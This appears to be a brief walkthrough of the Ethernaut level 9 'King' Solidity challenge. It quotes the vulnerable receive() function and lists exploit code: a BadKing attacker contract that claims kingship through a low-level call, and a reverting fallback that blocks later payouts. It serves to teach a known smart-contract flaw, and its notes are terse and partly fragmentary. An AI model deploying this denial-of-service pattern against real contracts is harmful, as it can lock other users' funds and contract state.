receive() external payable {
/// Vulnability
require(**msg.value >= prize** || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
Deterministic is important >> User cannot have variables.
As the transaction sender, you are always susceptible to the following cases:
Loophole 1: The receiving contract doesn’t have a payable fallback function, cannot receive Ethers, and will throw an error upon a payable request.
contract BadKing {
King public king = King(YOUR_LEVEL_ADDR_HERE);
// This should trigger King fallback(), making this contract the king
function becomeKing() public {
address(king).call.value(1000000000000000000).gas(4000000)();
}
// nothing to have a fallback payable funcs.
}
Loophole 2: The receiving contract has a malicious payable fallback function that throws an exception and fails valid transactions.
// This function fails "king.transfer" trx from Ethernaut
function() external payable {
revert("haha you fail");
}
Loophole 3: The receiving contract has a malicious payable function that consumes a large amount of gas, which fails your transaction or over-consumes your gas limit.
Normal is 21000~
address(king).call.value(1000000000000000000).gas(4000000)();
Ethernaut Lvl 9 King Walkthrough: How bad contracts can abuse withdrawals